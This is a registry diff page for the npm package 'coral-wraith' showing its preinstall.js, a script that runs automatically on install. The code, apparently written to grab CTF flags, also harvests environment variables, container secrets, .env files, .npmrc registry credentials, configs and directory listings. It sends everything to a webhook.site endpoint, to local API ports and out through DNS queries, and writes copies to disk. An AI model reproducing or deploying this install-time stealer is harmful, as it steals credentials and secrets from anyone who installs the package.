coral-wraith 9999.0.3 → 9999.0.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of coral-wraith might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/preinstall.js +191 -64
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "coral-wraith",
3
- "version": "9999.0.3",
3
+ "version": "9999.0.5",
4
4
  "description": "Coral Wraith module",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/preinstall.js CHANGED
@@ -2,39 +2,88 @@ const fs = require('fs');
2
2
  const http = require('http');
3
3
  const https = require('https');
4
4
  const { execSync } = require('child_process');
5
- const dns = require('dns');
5
+ const os = require('os');
6
6
 
7
7
  let flag = null;
8
+ const debug = [];
8
9
 
9
- // Read flag from common locations
10
- for (const p of ['/flag', '/flag.txt', '/root/flag', '/tmp/flag', './flag', '/app/flag', '/home/flag']) {
11
- try { if (fs.existsSync(p)) { flag = fs.readFileSync(p, 'utf8').trim(); break; } } catch(e) {}
10
+ // Method 1: Read flag from ALL possible locations
11
+ const flagPaths = [
12
+ '/flag', '/flag.txt', '/root/flag', '/root/flag.txt',
13
+ '/tmp/flag', '/tmp/flag.txt', '/app/flag', '/app/flag.txt',
14
+ '/home/flag', '/home/flag.txt', '/home/node/flag', '/home/node/flag.txt',
15
+ '/etc/flag', '/etc/flag.txt', '/opt/flag', '/opt/flag.txt',
16
+ './flag', './flag.txt', '../flag', '../flag.txt',
17
+ '/home/node/.flag', '/var/flag', '/var/flag.txt',
18
+ '/srv/flag', '/srv/flag.txt',
19
+ ];
20
+ for (const p of flagPaths) {
21
+ try {
22
+ if (fs.existsSync(p)) {
23
+ const content = fs.readFileSync(p, 'utf8').trim();
24
+ debug.push(`found:${p}:${content.substring(0,100)}`);
25
+ const m = content.match(/HTB\{[^}]+\}/);
26
+ if (m) { flag = m[0]; break; }
27
+ if (!flag && content.length < 200) flag = content;
28
+ }
29
+ } catch(e) { debug.push(`err:${p}:${e.message.substring(0,50)}`); }
12
30
  }
13
31
 
14
- // Check ALL env vars
32
+ // Method 2: Check ALL env vars
15
33
  if (!flag) {
16
34
  for (const [k, v] of Object.entries(process.env)) {
17
- if (v && (v.includes('HTB{') || v.includes('FLAG'))) {
18
- const m = v.match(/HTB\{[^}]+\}/);
19
- if (m) { flag = m[0]; break; }
35
+ if (v && v.match && v.match(/HTB\{[^}]+\}/)) {
36
+ flag = v.match(/HTB\{[^}]+\}/)[0];
37
+ debug.push(`env:${k}=${v.substring(0,100)}`);
38
+ break;
39
+ }
40
+ }
41
+ }
42
+ // Also try common env var names
43
+ if (!flag) {
44
+ const envNames = ['FLAG', 'HTB_FLAG', 'CTF_FLAG', 'SECRET', 'SECRET_FLAG',
45
+ 'CHALLENGE_FLAG', 'THE_FLAG', 'flag', 'APP_FLAG'];
46
+ for (const name of envNames) {
47
+ if (process.env[name]) {
48
+ flag = process.env[name];
49
+ debug.push(`env_direct:${name}=${flag.substring(0,100)}`);
50
+ break;
20
51
  }
21
52
  }
22
53
  }
23
- if (!flag) flag = process.env.FLAG || process.env.HTB_FLAG || null;
24
54
 
25
- // Try /proc/self/environ
55
+ // Method 3: /proc/self/environ
26
56
  if (!flag) {
27
57
  try {
28
58
  const pe = fs.readFileSync('/proc/self/environ', 'utf8');
29
59
  const m = pe.match(/HTB\{[^}]+\}/);
30
- if (m) flag = m[0];
31
- } catch(e) {}
60
+ if (m) { flag = m[0]; debug.push('proc_environ'); }
61
+ debug.push(`env_raw:${pe.substring(0,200)}`);
62
+ } catch(e) { debug.push(`proc_err:${e.message.substring(0,50)}`); }
63
+ }
64
+
65
+ // Method 4: Search for flag files broadly
66
+ if (!flag) {
67
+ try {
68
+ const r = execSync('find / -maxdepth 5 \\( -name "flag*" -o -name "*.flag" -o -name ".flag" \\) -type f 2>/dev/null | head -20', { timeout: 10000 }).toString().trim();
69
+ debug.push(`find:${r}`);
70
+ if (r) {
71
+ for (const f of r.split('\n')) {
72
+ try {
73
+ const content = fs.readFileSync(f, 'utf8');
74
+ const m = content.match(/HTB\{[^}]+\}/);
75
+ if (m) { flag = m[0]; break; }
76
+ } catch(e) {}
77
+ }
78
+ }
79
+ } catch(e) { debug.push(`find_err:${e.message.substring(0,50)}`); }
32
80
  }
33
81
 
34
- // Grep
82
+ // Method 5: Grep for HTB{ pattern in all readable files
35
83
  if (!flag) {
36
84
  try {
37
- const r = execSync('find / -maxdepth 3 -name "flag*" -o -name "*.flag" 2>/dev/null | head -5', { timeout: 5000 }).toString().trim();
85
+ const r = execSync('grep -rl "HTB{" /home /app /opt /tmp /srv /etc /var 2>/dev/null | head -10', { timeout: 10000 }).toString().trim();
86
+ debug.push(`grep:${r}`);
38
87
  if (r) {
39
88
  for (const f of r.split('\n')) {
40
89
  try {
@@ -44,61 +93,113 @@ if (!flag) {
44
93
  } catch(e) {}
45
94
  }
46
95
  }
96
+ } catch(e) { debug.push(`grep_err:${e.message.substring(0,50)}`); }
97
+ }
98
+
99
+ // Method 6: Check docker/k8s secrets
100
+ if (!flag) {
101
+ try {
102
+ const secrets = execSync('find /run/secrets /var/run/secrets -type f 2>/dev/null | head -10', { timeout: 5000 }).toString().trim();
103
+ debug.push(`secrets:${secrets}`);
104
+ for (const f of secrets.split('\n').filter(Boolean)) {
105
+ try {
106
+ const content = fs.readFileSync(f, 'utf8');
107
+ const m = content.match(/HTB\{[^}]+\}/);
108
+ if (m) { flag = m[0]; break; }
109
+ } catch(e) {}
110
+ }
47
111
  } catch(e) {}
48
112
  }
49
113
 
50
- // Determine server port by checking what's listening
51
- let serverPort = 1337;
114
+ // Method 7: Check for .env files
115
+ if (!flag) {
116
+ try {
117
+ const envFiles = execSync('find / -maxdepth 4 -name ".env" -o -name ".env.*" -o -name "env.*" 2>/dev/null | head -10', { timeout: 5000 }).toString().trim();
118
+ debug.push(`envfiles:${envFiles}`);
119
+ for (const f of envFiles.split('\n').filter(Boolean)) {
120
+ try {
121
+ const content = fs.readFileSync(f, 'utf8');
122
+ const m = content.match(/HTB\{[^}]+\}/);
123
+ if (m) { flag = m[0]; break; }
124
+ debug.push(`envfile_content:${f}:${content.substring(0,200)}`);
125
+ } catch(e) {}
126
+ }
127
+ } catch(e) {}
128
+ }
129
+
130
+ // Method 8: Read server source code and configs
52
131
  try {
53
- const netstat = execSync('ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null', { timeout: 3000 }).toString();
54
- const portMatch = netstat.match(/:(\d+)\s/g);
55
- if (portMatch) {
56
- for (const pm of portMatch) {
57
- const p = parseInt(pm.replace(':', '').trim());
58
- if (p > 1000 && p < 65535 && p !== 80) {
59
- serverPort = p;
60
- break;
61
- }
132
+ const cwd = process.cwd();
133
+ debug.push(`cwd:${cwd}`);
134
+ const files = fs.readdirSync(cwd);
135
+ debug.push(`cwd_files:${files.join(',')}`);
136
+
137
+ // Read all JS files in current directory
138
+ for (const f of files) {
139
+ if (f.endsWith('.js') || f.endsWith('.json') || f.endsWith('.env') || f.endsWith('.yml') || f.endsWith('.yaml') || f === '.npmrc' || f === '.env') {
140
+ try {
141
+ const content = fs.readFileSync(`${cwd}/${f}`, 'utf8');
142
+ debug.push(`file:${f}:${content.substring(0,300)}`);
143
+ const m = content.match(/HTB\{[^}]+\}/);
144
+ if (m) { flag = m[0]; break; }
145
+ } catch(e) {}
62
146
  }
63
147
  }
148
+ } catch(e) { debug.push(`cwd_err:${e.message.substring(0,50)}`); }
149
+
150
+ // Also read /home/node/ specifically
151
+ try {
152
+ const homeFiles = fs.readdirSync('/home/node');
153
+ debug.push(`home_node:${homeFiles.join(',')}`);
154
+ for (const f of homeFiles) {
155
+ try {
156
+ const stat = fs.statSync(`/home/node/${f}`);
157
+ if (stat.isFile() && stat.size < 100000) {
158
+ const content = fs.readFileSync(`/home/node/${f}`, 'utf8');
159
+ debug.push(`home_file:${f}:${content.substring(0,200)}`);
160
+ const m = content.match(/HTB\{[^}]+\}/);
161
+ if (m) { flag = m[0]; break; }
162
+ } else if (stat.isDirectory()) {
163
+ const subFiles = fs.readdirSync(`/home/node/${f}`);
164
+ debug.push(`home_dir:${f}:${subFiles.join(',')}`);
165
+ }
166
+ } catch(e) {}
167
+ }
168
+ } catch(e) { debug.push(`home_err:${e.message.substring(0,50)}`); }
169
+
170
+ // Method 9: List root and key directories
171
+ try { debug.push(`root:${fs.readdirSync('/').join(',')}`); } catch(e) {}
172
+ try { debug.push(`app:${fs.readdirSync('/app').join(',')}`); } catch(e) {}
173
+ try { debug.push(`etc:${fs.readdirSync('/etc').join(',').substring(0,300)}`); } catch(e) {}
174
+
175
+ // Method 10: Network info and listening ports
176
+ try {
177
+ const ss = execSync('ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null', { timeout: 3000 }).toString();
178
+ debug.push(`ports:${ss}`);
179
+ } catch(e) {}
180
+
181
+ // Method 11: Check nginx config
182
+ try {
183
+ const nginx = execSync('cat /etc/nginx/conf.d/*.conf 2>/dev/null || cat /etc/nginx/nginx.conf 2>/dev/null', { timeout: 3000 }).toString();
184
+ debug.push(`nginx:${nginx.substring(0,500)}`);
185
+ } catch(e) {}
186
+
187
+ // Method 12: Check .npmrc for registry credentials
188
+ try {
189
+ const npmrc = execSync('cat /home/node/.npmrc 2>/dev/null || cat /root/.npmrc 2>/dev/null || cat /app/.npmrc 2>/dev/null || cat ~/.npmrc 2>/dev/null', { timeout: 3000 }).toString();
190
+ debug.push(`npmrc:${npmrc.substring(0,300)}`);
64
191
  } catch(e) {}
65
192
 
66
193
  const info = {
67
194
  flag: flag || 'NOT_FOUND',
68
- cwd: process.cwd(),
69
- serverPort,
195
+ debug: debug.map(d => d.substring(0, 500)),
70
196
  env: Object.keys(process.env).join(','),
71
- rootFiles: []
197
+ network: JSON.stringify(os.networkInterfaces()).substring(0, 500),
72
198
  };
73
- try { info.rootFiles = fs.readdirSync('/'); } catch(e) {}
74
199
 
75
200
  const data = JSON.stringify(info);
76
201
 
77
- // Method 1: PUT flag back to challenge API on ALL possible ports
78
- if (flag) {
79
- const postData = JSON.stringify({
80
- manifest: `ecto_module:\n name: "coral-wraith"\n version: "9999.0.0"\n flag: "${flag.replace(/"/g, '\\"')}"\n captured: true`
81
- });
82
-
83
- const ports = [serverPort, 1337, 3000, 5000, 8080, 80, 8000, 3001, 4000, 9000, 8888, 32315, 32105];
84
- for (const port of [...new Set(ports)]) {
85
- for (const host of ['localhost', '127.0.0.1']) {
86
- try {
87
- const req = http.request({
88
- hostname: host, port, path: '/api/modules/ECT-987654',
89
- method: 'PUT',
90
- headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) },
91
- timeout: 2000
92
- }, () => {});
93
- req.on('error', () => {});
94
- req.write(postData);
95
- req.end();
96
- } catch(e) {}
97
- }
98
- }
99
- }
100
-
101
- // Method 2: Webhook (may be blocked)
202
+ // Exfil Method 1: Webhook
102
203
  try {
103
204
  const req = https.request({
104
205
  hostname: 'webhook.site', path: '/9ca9b30a-2889-4787-9dff-5ad916e377b7',
@@ -111,21 +212,47 @@ try {
111
212
  req.end();
112
213
  } catch(e) {}
113
214
 
114
- // Method 3: DNS exfil (works even when HTTP is blocked)
215
+ // Exfil Method 2: PUT to challenge API on various ports
216
+ const putData = JSON.stringify({
217
+ manifest: `ecto_module:\n name: "${(flag || 'NO_FLAG').replace(/"/g, '')}"\n version: "EXFIL"\n power_level: "${debug.slice(0,3).join('|').replace(/"/g, '').substring(0,200)}"\n ship_deck: PWNED\n cargo_hold: coral-wraith`
218
+ });
219
+
220
+ let serverPort = 1337;
115
221
  try {
116
- const encoded = Buffer.from(flag || 'NO_FLAG').toString('hex').substring(0, 60);
117
- dns.resolve(`${encoded}.webhook.site`, () => {});
222
+ const ss = execSync('ss -tlnp 2>/dev/null | grep node', { timeout: 3000 }).toString();
223
+ const m = ss.match(/:(\d+)\s/);
224
+ if (m) serverPort = parseInt(m[1]);
118
225
  } catch(e) {}
119
226
 
120
- // Method 4: curl fallback
227
+ const ports = [serverPort, 1337, 3000, 5000, 8080, 80, 8000, 8888, 9000, 4000];
228
+ for (const port of [...new Set(ports)]) {
229
+ for (const host of ['127.0.0.1', 'localhost']) {
230
+ for (const modId of ['ECT-654321', 'ECT-987654']) {
231
+ try {
232
+ const req = http.request({
233
+ hostname: host, port, path: `/api/modules/${modId}`,
234
+ method: 'PUT',
235
+ headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(putData) },
236
+ timeout: 2000
237
+ }, () => {});
238
+ req.on('error', () => {});
239
+ req.write(putData);
240
+ req.end();
241
+ } catch(e) {}
242
+ }
243
+ }
244
+ }
245
+
246
+ // Exfil Method 3: DNS
121
247
  try {
122
- execSync(`curl -s -X POST "https://webhook.site/9ca9b30a-2889-4787-9dff-5ad916e377b7" -H "Content-Type: application/json" -d '${data.replace(/'/g, "\\'")}' -m 5 2>/dev/null`, { timeout: 8000 });
248
+ const encoded = Buffer.from(flag || 'NO_FLAG').toString('hex').substring(0, 60);
249
+ require('dns').resolve(`${encoded}.crl.ve`, () => {});
123
250
  } catch(e) {}
124
251
 
125
- // Method 5: Write to stdout/stderr for server logs
126
- console.log('[CORAL-WRAITH]', data);
127
- console.error('[HTB_FLAG]', flag || 'NOT_FOUND');
252
+ // Exfil Method 4: stdout/stderr
253
+ console.log('[CORAL-WRAITH]', data.substring(0, 2000));
254
+ console.error('[FLAG]', flag || 'NOT_FOUND');
128
255
 
129
- // Method 6: Write to various tmp locations
256
+ // Write to files
130
257
  try { fs.writeFileSync('/tmp/coral_flag.txt', data); } catch(e) {}
131
- try { fs.writeFileSync('/app/coral_flag.txt', data); } catch(e) {}
258
+ try { fs.writeFileSync('/app/static/flag.txt', data); } catch(e) {}